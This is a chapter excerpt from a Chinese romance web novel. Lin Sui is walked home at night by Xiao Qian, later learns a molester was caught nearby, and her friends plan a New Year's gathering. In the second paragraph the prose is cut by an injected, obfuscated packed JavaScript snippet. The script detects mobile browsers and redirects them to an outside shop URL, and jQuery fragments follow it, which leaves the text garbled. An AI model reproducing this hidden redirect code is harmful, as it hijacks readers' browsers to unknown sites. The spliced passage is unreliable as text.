她的心态好像已经不再“年轻”了。若是二十岁的她，一定会被这样的情景所触动，甚至心生对对方朦胧的好感。可她已经快三十岁了，坐在肖潜单车的后座上，满脑子装着的只是对自我决策的不满，认为是自己思虑不周才会自陷于这样的险境。再联想到近日来几起单身女性街头意外被害的新闻，更是后脊背一凉。 所幸肖潜从来不是打着关心的名义行说教之实的人。他没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954651|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说“怎么这么晚了还一个人在外面”“一定要注意安全”之类令人有负担的话，只是默默把她送了回去。 “肖老师，这么晚了，你怎么会在这里？” 肖潜：“帮师弟改论文，改累了就骑着单车出来透透气。” “你今晚要住在学校不回家了吗？”林穗问道。肖潜的实验室离林穗的住处不太远，可他家离这里简直横跨了半个上海市。 “嗯，在学校。”肖潜说，“你很喜欢夜跑吗？” 坦白讲，喜欢。吹着晚风时，她总感到无比自由，仿佛只有黑夜能让她清楚地聆听到这座城市的脉搏。 只是现在…… “我以后可能会换个室内的运动吧。”林穗说。 “我接了个晚上帮朋友遛狗的活儿，需要的话可以搭个伴儿。”肖潜说，“我不会出现在你眼前影响到你的，但我们活动的区域差不多都是这一片。你可以提前告诉我晚上具体会活动在哪几条街，我就在附近几条路上遛它。如果有任何紧急情况都可以打电话给我，我会很快就出现的。” “好了，到了，快上楼去吧。”到达林穗家楼下时，肖潜抬眼看了看楼上那盏为她亮起的灯，如是说道。 睡了一夜醒来，林穗还是没忘记肖潜这番话。 她立即按住心口，觉得大事不妙——难道这也是“白熊效应”？越是说着不期待感情的发生，那颗种子就越是容易随风潜入夜，悄无声息地在心里扎下根…… “小穗，快看啊，昨天一个猥亵女生的惯犯被抓住了，就在离咱们这儿不远的地方！”菲儿把刚刚发布的新闻转发给了林穗，“他凌晨的时候尾随一个刚加完班回家的女生，幸亏那个女生是个兼职泰拳教练，三下五除二就把歹徒给制服了，然后扭送警局。真帅气！” 那个人果真是动了歹心的，昨晚真是惊险…… 黎诗然看了看事发的街道名，严肃道：“穗，你以后还是别夜跑了，天黑了之后就换成室内运动吧。” 林穗：“没关系，我以后九点之前就回来，而且会换个安全的区域的。” “对了小穗，你看群里了么，大家说过两天去金老板家一起跨年。”菲儿把刚烤好的三明治递给了林穗。 “行啊，我没问题。”由于昨晚经历的一切过于惊险，林穗还没来得及仔细看手机：“都有谁去啊？” “我、小黎、苏师兄、肖潜都去。”说着，菲儿便笑嘻嘻调侃起黎诗然：“小黎啊，别人留沪跨年我倒是不意外，可人家苏师兄家就在无锡，一脚油门的事儿，他怎么也不回去呀？” 黎诗然无情地白了她一眼：“我怎么知道，好奇的话你自己问他。” “那他应该不好意思说。”菲儿挤挤眼睛，笑道。 肖潜也去…… 不知为何，过了昨晚，林穗再听到这个名字时，心里便有了种不一样的感觉，甚至是一丝隐隐的期待。 不，这个念头太可怕了，事业起步初期，切忌分心——林穗对自己强调道。白熊效应可千万不能在感情的方面再影响她了。 “对了，咱们带什么伴手礼啊？毕竟是去别人家，总不好空着手……”菲儿说。 黎诗然：“你主意多，你定吧。”